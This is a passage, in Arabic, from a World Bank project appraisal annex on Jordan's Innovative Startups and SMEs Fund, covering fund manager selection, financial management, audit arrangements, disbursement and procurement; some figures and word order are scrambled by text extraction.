األخيرة عند تصفية الصندوق وتحويل أصول للزيادة في قيم االستثمار التي تحققت خالل فترة االستثمار المقّيمة إلى أموال، وتعد المكافأة األساسية، وتحدد وفقاً عادًة المشروع، وتحسب كنسبة من األرباح. 11 .عملية اختيار مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية والمعايير الواجب مراعاتها: أ- ينبغي أن يتمتع المدير باآلتي: )أ( القدرة على التقييم السديد للفرص االستثمارية في المؤسسات الصغيرة والمتوسطة؛ )ب( القدرة على توفير التدريب وسبل الدعم الالزمة التي تحتاج إليها المؤسسات الصغيرة والمتوسطة الشابة واإلبتكارية؛ )ج( لديه سجل جنائي نظيف، وعدم وجود اسمه في قاعدة بيانات البنك الدولي الخاصة بالقائمة السوداء للعمالء. ب- يراعى في اختيار المرشحين لمنصب المدير أو المناصب العليا بالصندوق أال يكونوا قد تعرضوا للمقاضاة أو المساءلة القانونية أو أقيمت ضدهم دعاوى خالل السنوات الثالث السابقة. وسوف تنص عملية تقديم العطاءات بوضوح على معايير االختيار وترتيبها من حيث األهمية، وستركز معايير االختيار على الخبرة وااللتزام على المدى الطويل. كما سوف تشمل معايير اختيار المرشحين لتولي المناصب بالصندوق مقدار التعزيز المالي باالقتراض الذي يتمتع به كل للفائدة القصوى من المشروع. منهم، وذلك تحقيقاً ت- تشمل معايير االختيار كل مما يلي: 1 -خطاب النوايا المقدم من المساهمين من القطاع الخاص. 2 -االلتزامات الرأسمالية التي يتعهد بها مدير الصندوق والمستثمرين من القطاع الخاص. 3 -كفاءة فريق االستثمار وخبرته في أسواق المراحل المبكرة وأسواق رأس المال المخاطر التي تتسم بالرسوخ. 4 -سجل إنجازات المرشح في إدارة االستثمارات. 5 -خبرة الفريق المرشح ومهاراته في االستثمار في أسواق المراحل المبكرة وأسواق رأس المال المخاطر وإدارتها واالنسحاب منها. 6 -االستثمارات المقترحة واستراتيجية التخارج، بما يتفق مع أهداف البرنامج، بما في ذلك:  مجموعة المشروعات المحتملة.  هيكل ومستوى أتعاب اإلدارة.  استراتيجية التخارج 7 -الربط واإلطار التشغيلي المتصل بالنظام البيئي الشامل لريادة األعمال 8 -موقع فريق اإلدارة، بحيث يستطيع الصندوق االستثمار بفعالية في مشروعات ريادة األعمال المحلية في األردن والعمل معها. اإلدارة المالية 11 .ترتيبات التنفيذ واختيار الموظفين. سوف تقوم الشركة األردنية لضمان القروض بإدارة التنسيق الكلي لتنفيذ المشروع، بينما يتولى صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية اإلدارة المالية اليومية والمدفوعات. وكانت الشركة األردنية قد تأسست سنة 1994 باعتبارها شركة مساهمة عامة برأس مال مدفوع قدره 7 مليون دينار أردني، ودورها هو تقديم الضمانات للقروض التجارية الممنوحة للمؤسسات الصغيرة والمتوسطة. وفي 1997 ،ازداد رأس مال الشركة إلى 10 مليون دينار أردني لتغطية ائتمان التصدير وتشجيع المؤسسات الصغيرة والمتوسطة على العمل خارج األردن. وتتمتع الشركة بالخبرة في العمل مع مجموعة البنك الدولي ومؤسسة التمويل الدولية والبنك الدولي لإلنشاء والتعمير عبر المرفق االقليمي للمساعدة الفنية المقدمة للمؤسسات متناهية الصغر والصغيرة والمتوسطة في منطقة الشرق االوسط وشمال افريقيا، والذي يدعم إدارة المخاطر بالشركة، وستكون هذه هي المرة األولى التي تدير فيها الشركة تمويل مشروع استثماري تابع للبنك الدولي. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 58 12 .ستتمكن الشركة األردنية لضمان القروض من خالل استخدام صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة بعيدا عن البرنامج الحالي لضمانات القروض لحين ً االبتكارية باعتباره كيان ألغراض خاصة، بعزل حصص رأس المال تسييل العائدات النهائية وإعادتها إلى حكومة األردن. وعلى الصندوق أن يحافظ على جملة أمور من بينها، كفاءة نظم اإلدارة المالية، وتشمل السجالت والحسابات والقوائم المالية التي تعكس بوضوح عمليات المشروع وموارده ونفقاته. وبمجرد إنشاء الصندوق، سيقوم فريق اإلدارة المالية بالبنك الدولي بإجراء التقييم الالزم لتحقيق هدف المشروع. وسوف يضم فريق الصندوق يشغل منصب كبير الموظفين الماليين يعمل بدوام كامل، ويخصص راتبه من عائدات القرض، ويعمل تحت إشراف موظفاً لمحدودية القدرات، إلى تعيين موظف في المدر العام للصندوق. ومن ناحية أخرى، فسوف تحتاج الشركة األردنية، نظراً منصب محاسب أول يعمل بدوام جزئي، يدفع المشروع راتبه، وينسق مع المسئول المالي للصندوق في األمور المالية وما يتعلق بمدفوعات المشروع. للتقييم األولي، وفي حالة اتخاذ تدابير ّيمت مخاطر اإلدارة المالية بأنها "مرتفعة" وفقاً 13 .مخاطر اإلدارة المالية للمشروع: قُ التخفيف من حدة تلك المخاطر، فإن المشروع سيحظى بترتيبات مقبولة لإلدارة المالية، وسيهبط تصنيف المخاطر المتبقية إلى "كبيرة". وتقيم مخاطر اإلدارة المالية بأنها "كبيرة" لعدة أسباب، أبرزها: )أ( المعامالت المالية المعقدة؛ )ب( استخدام عدة صكوك استثمارية في المشروع؛ )ج( تعدد خطوط التسلسل اإلداري بين الهيئات؛ )د( قد ال يتم دفع األموال وفقاً التفاقية القرض أو بما يحقق هدف المشروع أو أنها ال تصل إلى الجهات المستفيدة المستهدفة. 14 .تم اقتراح التدابير التالية للتخفيف من حدة مخاطر اإلدارة المالية: أ- سوف يعين صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية مدير مالي المنشأ حديثا من ذوي الكفاءات ً والمؤهالت لتولي عمليات التدوين واإلنفاق والتحويالت اليومية إلى الهيئات األخرى والحفاظ على موثوقية النظام المالي. وستعين الشركة األردنية لضمان القروض محاسب أول لمتابعة الحساب المخصص وتسليم التقارير المالية المؤقتة غير المدققة إلى البنك الدولي. ب- سوف تتولى الشركة األردنية عملية تدفق األموال عبر حساب مخصص للمشروع مفتوح في أحد البنوك التجارية التي يوافق عليها البنك الدولي، كما سوف يفتح الصندوق حساب فرعي بالدينار األردني ويديره. ت- سوف تراقب الشركة األردنية تنفيذ المشروع عن كثب، شامال اإلدارة المالية وأنشطة الدفع واإلشراف على استدامة عمليات الصندوق. ث- بموجب اتفاقية اإلدارة، سوف تقتصر وظيفة وعمليات الصندوق على االستثمار )وتنفيذ عمليات التخارج ذات الصلة( وحيازة أس المال التي تختارها لجنة االستثمارات وفقاً استثمارات ر للمعايير الواردة في دليل عمليات المشروع وتحت إشراف الشركة األردنية. ج- سوف يشارك في تمويل أنشطة المشروع كل من البنك الدولي والبنك المركزي األردني، وسوف يحدد نظام المحاسبة نسب مشاركة كل منهما في التمويل، لسببين متضافرين، وهما: )أ( التنبؤ بالمبالغ النقدية المطلوب سحبها من المشاركين في التمويل؛ لالتفاق القانوني. )ب( تحديد الحصص التناسبية في النفقات وفقاً ح- سوف ُيعد دليل عمليات المشروع ويتضمن فصال عن اإلدارة المالية؛ حيث سيتناول بالتفصيل سياسات اإلدارة المالية وإجراءاتها الواجب على الصندوق اتخاذها لتنفيذ أنشطة االستثمار المشترك بالتمويل المختلط من رأس المال والدين، كما سيتناول تكاليف االبتكارات ودعم أنشطة زيادة تدفق الصفقات. وسيحدد هذا الفصل أيضاً، عدة أمور من بينها، األدوار والمسئوليات والعالقات بين الوكاالت )الشركة والصندوق(. وسوف تلزم الشركة الصندوق باعتماد دليل عمليات المشروع. تشكل لجنة استثمار مستقلة تتألف من خبراء مستقلين في االستثمار في مجال ريادة األعمال، وتحديد الجهات المستفيدة من خ- سوف ُ للتحليل المالي الذي أجراه الص استثمارات رأس المال وفقا ندوق، ومعايير االختيار الواردة في دليل عمليات المشروع، كما ً ستتولى لجنة االستثمار تحديد االستثمارات واستراتيجيات التخارج. د- سوف يشتري الصندوق نظام محاسبة مقبول ويستخدمه لتسجيل المعامالت المالية وإعداد التقارير المالية المؤقتة ربع السنوية. ذ- سوف يعد الصندوق التقارير المالية المؤقتة ربع السنوية التي تتناول االستثمار في رأس المال واألنشطة المتعلقة به، ويسلمها إلى الشركة األردنية لدمجها في أنشطة المشروع التي تنفذها الشركة وتقدم تقارير ربع سنوية عنها إلى البنك الدولي. تجرى تقييمات بسيطة لإلدارة المالية لصالح مقدمي الدعم بهدف ضمان إتاحة أنظمة اإلدارة المالية الجيدة. ر- سوف ُ للشروط المرجعية المعتمدة لدى ز- سوف يعين الصندوق مدقق حسابات خارجي في غضون ستة أشهر من بدء المشروع وفقاً البنك، ويتولى مراجعة القوائم المالية للمشروع. وسوف يتم اإلفصاح عن القوائم المالية السنوية للمشروع بعد مراجعتها. وتسدد تكاليف مراجعة الحسابات من عائدات القرض. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 59 س- سوف يعين الصندوق مدقق حسابات داخلي يقدم تقاريره إلى مجلس اإلدارة خالل السنة األولى من تنفيذ المشروع. وينبغي للبنك الدولي أن يعتمد الشروط المرجعية لمدقق الحسابات الداخلي ويسلمها قبل تعيينه. وسيعمل هذا المدقق بالتنسيق مع موظف مراقبة االمتثال بالصندوق، وسوف تغطي عائدات القرض راتبه. ش- سوف يعين الصندوق شركة استشارية، أو يوسع من نطاق عمل مدقق الحسابات الداخلي المعين، بحيث تتضمن صالحياته إجراء مراجعة سنوية لإلجراءات المتفق عليها التي يتبعها المستفيدون )الشركات الناشئة في مرحلة التأسيس أو المراحل المبكرة أو المعتمدة على رأس مال المخاطر والمعجالت وشبكات رعاة األعمال ومنصات التمويل الجماعي وما إليها(. 15 .وضع الموازنة وتدفق األموال: سوف يضع صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية موازنة المشروع وخطة دورية لإلنفاق بنا ًء على التمويل المتوقع ضخه في استثمارات رأس المال قيد التخطيط، وتكاليف االبتكار والدعم المالي، وتراجع الشركة هذه الموازنة وتعتمدها قبل تسليمها إلى البنك الدولي باعتبارها جزءاً من التقارير المالية المؤقتة غير المدققة ربع السنوية. ومن ثم، ستستخدم الموازنة كأداة للمتابعة وتحليل الفروق في الموازنة وإدارة األموال، وسوف يسجل كل ذلك في التقارير المذكورة. ولضمان إتاحة األموال بسهولة لتنفيذ المشروع، سوف يتم فتح حساب مخصص للمشروع بالدوالر األمريكي في أحد البنوك التجارية المعتمدة لدى البنك الدولي. وتتم عمليات السحب واإليداع من هذا الحساب بها الوثائق وإليه بموجب خطاب إنفاق القرض. وسوف تحضر الشركة األردنية لضمان القروض استمارات السحب مرفقاً الالزمة بتوقيعات الموقعين المعتمدين. وسوف يوضح دليل عمليات المشروع بالتفصيل تدفق األموال والعالقات بين الوكاالت. 16 .االستثمار المشترك بالتمويل المختلط من رأس المال والدين: ألغراض تنفيذ المشروع المتصلة بمكون استثمارات رأس المال، ستنشئ الشركة األردنية لضمان القروض الصندوق وتسند إليه مهمة المساهم اإلداري، وكذلك إدارة عمليات استثمار رأس المال اليومية. وسوف تحول الشركة األموال من الحساب المخصص للمشروع إلى الحساب البنكي للصندوق لكي يستثمر لمعايير اختيار االستثمار وشروطه الواردة في دليل رأس المال المخاطر بمجرد تحديد المبلغ المقرر من لجنة االستثمار وفقاً عمليات المشروع. وينبغي أن يستوفي الصندوق المتطلبات المالية المعتمدة من البنك الدولي والموضحة في دليل عمليات المشروع لكي يستطيع القيام باالستثمارات وإداراتها، ومن هذه المتطلبات االستثمار في شركات ذات خبرة عامين والتي تتبع أنظمة مالية سليمة، على أن تقدم قوائم مالية مدققة من مدقق حسابات مرخص من جمعية المحاسبين القانونيين االردنيين، وأال تكون قد حصلت على آراء سلبية أو معبرة عن إخالء الذمة في السنوات الثالثة السابقة. وسوف يتم ايداع أرباح االستثمارات وعائدات بيع/ تصفية االستثمارات في حساب بنكي منفصل بأحد البنوك التجارية، والغرض منه مختلف عن الحساب لمشروع، ويستخدم هذا الحساب وفقاً المخصص ل لالتفاق مع البنك المركزي األردني والحكومة األردنية. 17 .سوف يمول المشروع االستثمارات المؤهلة في مبادرات االبتكار وريادة األعمال المطابقة للمعايير. وسوف يستثمر في رأس مال الشركات الناشئة في مرحلة التأسيس )قيمة الحصة االستثمارية أقل من 280 ألف دوالر أمريكي( وفي المراحل المبكرة )قيمة الحصة االستثمارية بين 280 ألف و750 ألف دوالر أمريكي( وفي رأس المال المخاطر )قيمة الحصة االستثمارية من 750 ألف حتى 3 ماليين دوالر أمريكي(. وباإلضافة إلى ذلك، سوف يمنح الصندوق إلى الصناديق الشريكة مبلغاً ال يرد لضمان نجاح الشركات االبتكارية الناشئة، بحد أقصى مئة ألف دوالر أمريكي لكل صندوق شريك. ويتعين على مديري قدموا عرضاً الصناديق الذي يتقدمون بطلب من الصندوق الحصول على استثمارات رأسمالية أو مشاركة في االستثمار أن ي يوضح أساس تحديد التكاليف وفقاً الستراتيجية االستثمار التي يتبعونها والجهات المحتملة لضخ االستثمارات. 18 .تمويل خلق التدفقات النقدية: ستركز المساعدة المقدمة لدعم الجاهزية لالستثمار على تقديم دورات تدريبية حول الجوانب الفنية واإلدارية، حتى تتأهب الشركات الناشئة لالستثمارات وتقدم خدمات تنمية األعمال التجارية على مستوى الشركات، وتقدم هذه الدورات لألعمال التجارية القائمة التي تتطلب مساعدة استشارية/ فنية حتى تصبح جاهزة لتنفيذ برامج استثمارات الصندوق بالتمويل المختلط من رأس المال والدين. وفضال عن ذلك، سيتم التعاقد مع مقدمي الخدمات أو االستعانة بهم لتنفيذ األنشطة المتفق عليها بنا ًء على برامج ومنجزات واضحة، ويشمل ذلك كافة أنشطة تدفق الصفقات، بما فيها برامج تعجيل األعمال وخدمات تنمية األعمال التجارية وتطوير شبكات رعاة األعمال. 19 .سوف يمول المشروع كذلك الدعم المقدم ألنشطة تطوير األنظمة البيئية الشاملة عبر تمويل وكالء هذه األنظمة بهدف تشجيعها على تنفيذ أنشطتها االبتكارية، مما يحفز بدوره خلق التدفقات النقدية في األردن. وسوف يحدد دليل عمليات المشروع معايير استحقاق التمويل تحديدا صولهم على التمويل، إلى تقييم لإلدارة المالية ً مفصال. وسيخضع مقدمي الدعم، قبل ح لضمان التزامهم بأنظمة اإلدارة المالية األساسية المعتمدة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 60 20 .تكاليف إدارة المشروع: تتضمن تكاليف إنشاء الصندوق وإدارته، أما مرتبات ومكافآت مسئولي الصندوق وموظفيه )بما يتفق مع عقود الخدمات االستشارية( والتكاليف التشغيلية )وفق التعريف الوارد في اتفاقية القرض(، فتشمل التكاليف التشغيلية إلدارة إليها النفقات المتفق عليها التي ستدفعها الشركة خالل الفترة نفسها تحصل الشركة من الصندوق خالل فترة المشروع، مضافاً البنك الدولي، بأثر رجعي، على النفقات التي تكبدتها في أداء دور الوكالة المنفذة قبل تشغيل المشروع، وتسحب التكاليف المتكررة المتعلقة بالمشروع مباشرة من الحساب المخصص للمشروع. 21 .عملية االختيار واإلشراف: سيحدد دليل عمليات المشروع هيكل حوكمة وتدابير مساءلة تتسم بالوضوح والشفافية، وال سيما فيما يتعلق بإجراء المراجعات وبذل العناية الواجبة وعمليات اختيار االستثمارات؛ وينبغي أن تجسد هذه التدابير مبادئ الحوكمة الرشيدة واإلنصاف والشفافية عن طريق ضمان استقالل عملية االختيار عن عملية المراجعة، وتحجيم مخاطر هيمنة المجموعات المختارة، والعناية الفائقة في تصفية المرشحين واتخاذ تدابير تكفل مساءلة الهيئات التي تتخذ القرارات االستثمارية. 22 .اإلبالغ والمحاسبة: ألغراض متابعة تنفيذ اإلدارة المالية للمشروع، سوف يضع الصندوق نظام محاسبة مالئم لتسجيل معامالت المشروع ومعالجتها ووضع التقارير المالية المؤقتة ربع السنوية ونصف السنوية والقوائم المالية السنوية للمشروع بما يتفق مع األساس المالي للمحاسبة ومعايير المحاسبة الدولية في القطاع العام. وقد يشترط في هذا النظام أن يكون قادراً على تسجيل المعامالت على أساس االستحقاق، وذلك لكي يستخدمه الصندوق في عملياته الداخلية. وينبغي أن يكون نظام المحاسبة للعمل خالل جاهزا 180 يوماً من فعالية المشروع. وتتكون التقارير المالية المؤقتة غير المدققة من بيانات اإليرادات ً للنو والمدفوعات النقدية مصنفة وفقا ع والمكون، باإلضافة إلى سياسات المحاسبة وملحوظات تفسيرية، وتتضمن هذه القوائم ً إفصاحات في صورة حواشي سفلية عن اآلتي: )أ( بيان مفصل باالستثمارات في رؤوس أموال الشركات )الناشئة في مرحلة التأسيس أو المراحل المبكرة أو المعتمدة على رأس مال المخاطر ومعجالت األعمال وشبكات رعاة األعمال ومنصات التمويل الجماعي وما إليها(؛ )ب( بيان تسوية للحساب المخصص للمشروع؛ )ج( تنبؤات التدفقات المالية لألشهر الستة التالية. 23 .يسلم الصندوق التقارير المذكورة إلى الشركة األردنية في غضون 30 يوماً، وتسلمها الشركة إلى البنك الدولي في غضون 15 يوما أي أنها تصل إلى البنك الدولي بعد 45 من انتهاء كل ربع سنة )ثالثة أشهر(. ً، يوماً 24 .على الشركات )الناشئة في مرحلة التأسيس أو المراحل المبكرة أو المعتمدة على رأس المال المخاطر ومعجالت األعمال وشبكات رعاة األعمال ومنصات التمويل الجماعي وما إليها( أن تلتزم بأنظمة اإلدارة المالية األساسية المقبولة. وينبغي لتلك األنظمة أن تدعم عمليات الشركات المذكورة على النحو الالزم، وتقدم تقارير حول أنشطتها. كما ينبغي أن تسلم تقارير مالية أساسية نصف سنوية غير مدققة إلى الصندوق لكي يتابع األداء المالي لهذه الشركات. 25 .الضوابط الداخلية. سوف تتبع دورة نفقات المشروع الضوابط المحددة في فصل اإلدارة المالي بدليل عمليات المشروع، حيث إنه يحدد أدوار الصندوق والشركة ومسئولياتهما فيما يتصل باإلدارة المالية والمدفوعات وتدفق األموال ونشر المعلومات والتوثيق. وسوف يتضمن هذا الفصل على سبيل المثال ال الحصر: )أ( السياسات المالية وسياسات المحاسبة؛ )ب( األدوار والمسئوليات، بما فيها أذونات الدفع؛ )ج( إجراءات االستثمار المباشر وغير المباشر؛ )د( تكاليف إدارة المشروع؛ )هـ( الدفعات المسبقة والحسابات المدينة والحسابات مستحقة الدفع؛ )و( إدارة األموال؛ )ز( وضع الموازنات والتقارير المالية؛ )ح( التنسيق مع المدققين الداخليين والخارجين للحسابات؛ )ط( االستمارات والنماذج. وسوف يتولى الصندوق وضع نظام الضوابط فقاً الداخلية لتقديم ضمانات مقبولة بشأن إنجاز األهداف التشغيلية وصياغة تقارير مالية دقيقة يمكن االعتماد عليها و للقوانين واللوائح المعمول بها. 26 .المراجعة ألغراض خاصة: سيعين الصندوق شركة استشارية أو يوسع من نطاق عمل المدقق الخارجي للحسابات بغرض إجراء المراجعة السنوية لإلجراءات المتفق عليها للتعامل مع المستفيدين )الشركات الناشئة في مرحلة التأسيس أو المراحل المبكرة أو المعتمدة على رأس المال المخاطر ومعجالت األعمال وشبكات رعاة األعمال ومنصات التمويل الجماعي وما لمعايير االختيار إليها(. ويتمثل الهدف الرئيسي من هذه المراجعة في التوصل لرأي حول التزام الصندوق باالستثمار وفقاً المتفق عليها وبذل العناية الواجبة وتطبيق أساليب التخارج الالزمة. كما ستتناول المراجعة فعالية نظام الضوابط الداخلية المتصل بالمعامالت المالية وتقديم التقارير المالية. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 61 27 .ترتيبات التدقيق الداخلي للحسابات: يتولى الصندوق تعيين مدقق حسابات داخلي خالل السنة األولى من تنفيذ المشروع يقدم ة الصندوق. وسوف تُ تقاريره إلى مجلس إدار سلم شروط مرجعية فعالة تتناول التدقيق الداخلي للحسابات بأسلوب متطور، وذلك بعد ارسالها إلى البنك الدولي للتأكد من عدم ممانعته. 28 .ترتيبات التدقيق الخارجي للحاسبات: ستفرض الشركة على األمانة العامة للصندوق أن تختار شركة خارجية لتدقيق الحسابات مستقلة وذات كفاءة يعتمدها البنك الدولي وتتولى التدقيق السنوي في البيانات المالية للمشروع. وتسلم تقارير تدقيق حسابات المشروع والخطابات اإلدارية خالل ستة أشهر بعد انتهاء فترة التدقيق. وسوف تتولى الشركة مسئولية إعداد الشروط المرجعية لمدقق الحسابات وذلك بعد ارسالها إلى البنك الدولي للتأكد من عدم ممانعته. 29 .يتوجب على مدقق الحسابات أن يبدي رأيه، بنا ًء على دليل عمليات المشروع، حول امتثال الصندوق لمعايير أهلية االستثمار أن يبدي رأيه بشأن فعالية نظام المراقبة الداخلي للمشروع. وختاماً، يرفق مدقق في اختياره للشركات المستفيدة. وعليه أيضاً يحدد فيه أوجه القصور في نظام المراقبة، وتوصياته لمعالجتها. إدارياً الحسابات بتقريره خطاباً 30 .يتعين على الجهات التي استثمر فيها المشروع أو دعمها مالياً )رأس المال المخاطر / الصناديق المالية/ الوسطاء الماليون( أن تقدم قوائم مالية سنوية مدققة إلى الصندوق. وسوف تتضمن اتفاقات التمويل المبرمة بين الصندوق والجهات المستثمر فيها/ الجهات المستفيدة أحكام تسليم تقارير التدقيق الخارجي للحسابات. 31 .بناء القدرات في المحاسبة الدولية واإلبالغ المالي: نظراً ألهمية إتقان المؤسسات الصغيرة والمتوسطة للمحاسبة واإلبالغ المالي، سيقدم المشروع، خالل فترة تنفيذه، برامج تدريبية وورش ودورات لمدققي الحسابات الخارجيين والمديرين الماليين للمؤسسات الصغيرة والمتوسطة وغيرهم من األطراف المعنية، ويتعلمون خاللها أصول اإلبالغ المالي ومعايير المحاسبة وما إلى ذلك من الموضوعات ذات الصلة. يعد بناء القدرات في مجال المعايير الدولية لإلبالغ المالي وتطبيق معايير المحاسبة الدولية ركيزتين رئيستين للحوكمة الرشيدة للشركات الالزمة لبناء ثقة المستثمرين ودعم تماسك مناخ األعمال بالمزايا التي ستتحقق الحقاً مثل تعزيز التنافسية والنمو االقتصادي. 32 .دعم التدريب والتنفيذ: سوف يقدم البنك الدولي برامج تدريبية للموظفين بالصندوق وباإلدارة المالية للشركة األردنية لضمان القروض على مناهج اإلدارة المالية المتبعة بالبنك الدولي، والتوجيهات واإلجراءات الالزم اتباعها في عملية السداد، كما سوف يدعم اإلدارة المالية خالل إشرافه على المشروع. 33 .آلية التعامل مع التظلمات والشكاوى. من شأن وضع آلية للتعامل مع التظلمات والشكاوى مصممة بعناية أن تحسن تقديم في ضمان شفافية المشروع ومساءلته، وتمثل آلية إنذار مبكر الخدمات وتعزز الفعالية الكلية للمشروع، وقد تساهم أيضاً للتحذير من مشاكل اإلدارة المالية قبل تفاقمها. ولذلك سوف تضع الشركة آلية تظلم مؤلفة من ثالث مراحل. اإلنفاق 34 .سوف تطلب الشركة األردنية لضمان القروض في البداية إعادة سداد النفقات المتفق عليها التي دفعتها قبل تشغيل المشروع، كما ستطلب دفعة مبدئية مسبقة تودع في الحساب المخصص للمشروع لكي تبدأ في سداد المبالغ الالزمة لتنفيذه. للتقارير المالية المؤقتة ربع السنوية التي ستوضح النفقات الفعلية للربع السابق تحدد مدفوعات البنك الدولي إلى الشركة وفقاً )األشهر الثالثة الماضية( وتوقعات التدفقات النقدية خالل الربعين التاليين )األشهر الستة القادمة(. وتحتفظ الشركة بكافة الوثائق الداعمة، وتحفظها بحيث يسهل الوصول إليها كي تراجعها بعثات البنك ومدققو الحسابات الداخليون والخارجيون. 35 .سوف يحول الصندوق األموال من الحساب المخصص للمشروع إلى حسابه الخاص وفقاً للتنبؤات النقدية الدورية التي ستتضمن عدة عوامل، من بينها دفعات االستثمار المتوقع سدادها خالل فترة معينة. وألغراض توثيق المدفوعات، سيعتبر لتحديد المدفوعات ودليال على المبالغ البنك الدولي شهادات االستثمار وقسائم التحويالت المصرفية/ اإليصاالت أساساً المدفوعة للجهات المستثمر فيها نظير الحصول على حصص مختلطة من رأس المال والدين. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 62 36 .سوف يفتح حساب مخصص للشركة بالدوالر األمريكي لضمان سهولة إتاحة األموال الالزمة لتنفيذ المشروع. وتسلم توقيعات المفوضون بالتوقيع فيما يتعلق بهذا الحساب بأسمائهم ونماذج من توقيعاتهم إلى البنك الدولي قبل استالم استمارة السحب األولى. 37 .سوف يتبع المشروعات أسلوباً في الدفع يقوم على تقديم التقارير المالية المؤقتة غير المدققة. يوضح الجدول رقم 2-1 أدناه أنواع النفقات ومخصصات القرض ونسب تمويل كل مكون. 38 .سوف يثني البنك على إكمال سداد النفقات المستحقة وبالخدمات المقدمة والسلع المسلّمة قبل تاريخ انتهاء المشروع. كما سيمنح فترة سماح تبلغ أربعة أشهر لسداد أي نفقات مستحقة ُسددت قبل تاريخ انتهاء مدة القرض. 39 .تضم تكاليف التشغيل ما يلي: النفقات التشغيلية الضرورية والمعقولة التي دفعها الصندوق لغرض تنفيذ المشروع وإدارته ومتابعته، بما في ذلك تأجير المكاتب وصيانتها، وتشغيل المعدات المكتبية وصيانتها، واألدوات واللوازم المكتبية، والمواد االستهالكية المكتبية، وإدارة المكاتب التي تشمل نفقات الترجمة التحريرية والشفهية والطباعة واإلعالن واالتصاالت، عالوًة على النفقات المتعلقة بإعداد وثائق المناقصات، والنفقات المعقولة للبنوك التجارية، والنفقات المعقولة والضرورية النتقاالت أفراد وحدة إدارة المشروع وسفرهم، والصيانة والتأمين ووقود المركبات ونفقات عقد االجتماعات وغيرها من النفقات للميزانيات الدورية المعتمد المتنوعة المرتبطة مباشرة بتنفيذ المشروع، ويحدد جميع ما سبق وفقا ة من البنك، ويستثنى من ذلك ً النفقات التشغيلية مرتبات وأتعاب المسئولين والموظفين العاملين في الخدمة المدنية للجهة المقترضة، ويشمل ذلك أيضاً للمشروع التي تدفعها الشركة بموافقة البنك الدولي. جدول رقم 2-1 خطة العمل – اإلدارة المالية اإلجراء/ الشرط تاريخ وجوب التنفيذ الجهة المسئولة 1 تعيين كبير المسئوليين الماليين قبل صرف األموال من قبل البنك الدولي الصندوق 2 تعيين محاسب أول بدوام جزئي خالل 3 أشهر من تاريخ بدء تنفيذ المشروع الشركة األردنية 3 وضع نظام مالي ومحاسبي خالل 6 أشهر من تاريخ بدء تنفيذ المشروع الصندوق 4 تعيين مدقق خارجي للمشروع خالل 6 أشهر من تاريخ بدء تنفيذ المشروع الصندوق 5 تعيين مدقق داخلي خالل 12 شهر من تاريخ بدء تنفيذ المشروع الصندوق المشتريات 40 .الجهة المنفذة: يمتلك البنك المركزي األردني 49 %من أسهم الشركة األردنية لضمان القروض، أما باقي األسهم فتمتلكها بنوك أخرى في األردن، وتهدف الشركة األردنية إلى تقديم الضمانات الالزمة لتسهيل تمويل المؤسسات الصغيرة والمتوسطة والخبراء المحليين وإلى المساهمة في عملية النمو االقتصادي وخلق فرص عمل جديدة وتشجيع الصادرات الوطنية. 41 .تصميم المشروع: سوف يتم إنشاء مرفق تمويلي في إطار المشروع باسم "صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية". وتتمثل أهداف هذا الصندوق في المشاركة في االستثمار المختلط في رأس المال و/أو الدين مع المستثمرين خالل المرحلة األولية المبكرة ومرحلة النمو/ مرحلة رأس المال المخاطرة ودعم رواد األعمال/ المؤسسات الصغيرة والمتوسطة لتكون جاهزة لالستثمار وكذلك تحسين جودة الخدمات التي يقدمها الوسطاء والشبكات المخصصة لخلق تدفق للصفقات في األردن وتنوعهما. وتكون الشركة األردنية لضمان القروض هي الجهة المنفذة والمسئولة عن إنشاء للمعايير التي ً الصندوق واإلشراف عليه، كما للصندوق ستختار الشركة مديرا لضمان تنفيذ المشروع وتقديم التقارير وفقاً وضعها البنك الدولي والمنصوص عليها في دليل عمليات المشروع. 42 .مكونات المشروع: البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 63 I .يتعين أن يمول المكون رقم 1 ما يلي: 1 -تمويل مختلط من رأس المال والدين بقيمة 5,53 مليون دوالر )قيمة تمويل البنك الدولي 75,44 مليون دوالر(. في إطار هذا النشاط، من المتوقع أن يستثمر الصندوق في حوالي 200 شركة بقيم متساوية بين مراحل المخاطر الثالثة للمؤسسات والمصنفة كالتالي: مرحلة التأسيس )قيمة الحصة االستثمارية أقل من 280 ألف دوالر أمريكي( وفي المراحل المبكرة )قيمة الحصة االستثمارية بين 280 ألف و750 ألف دوالر أمريكي( وفي رأس المال المخاطر )قيمة الحصة االستثمارية من 750 ألف حتى 2 مليون دوالر أمريكي(. ولن تستدعي المعامالت المنفذة تحت هذا المكون إطار مشتريات البنك. 2 -دعم تمويل الوسطاء والشركاء في مرحلة ما بعد االستثمار، وسيغطي الصندوق التكاليف التي تكبدها مديري الصندوق وشركاء االستثمار المشترك لضمان حصول الشركات الناشئة المستفيدة على الدعم الفعال الذي تحتاج إليه، ولن تستدعي المعامالت المنفذة تحت هذا المكون إطار مشتريات البنك. II .يتعين أن يمول المكون رقم 2 ما يلي: 1 -تمويل خلق تدفق الصفقات بقيمة 25.6 مليون دوالر )قيمة تمويل البنك الدولي 125.3 مليون دوالر(. لن تستدعي المعامالت المنفذة تحت هذا المكون إطار مشتريات البنك. III .يتعين أن يمول المكون رقم 3 ما يلي: 1 -مبلغ 4 مليون دوالر أمريكي )قيمة تمويل البنك الدولي 2 مليون دوالر أمريكي( فيما يخص تكاليف إدارة ختيار مديرا قوم ً المشروع خالل أول ست سنوات. وسوف تقوم الشركة األردنية لضمان القروض با للصندوق ي بتعيين فريق العمل في الصندوق، كما سُيستخدم المبلغ المخصص في سداد تكاليف تشغيل الصندوق وكذلك في تعيين المستشارين وشراء مستلزمات المكاتب، والتجهيزات واألثاث وغيره من الخدمات التي تتكبدها الشركة األردنية بصفتها الجهة المنفذة. 43 .تقييم القدرة الشرائية: أ( اإلطار القانوني: تأسست الشركة األردنية لضمان القروض على أساس تجاري وال تخضع لنظام المشتريات العامة، وال تخضع كذلك إلشراف الجهات 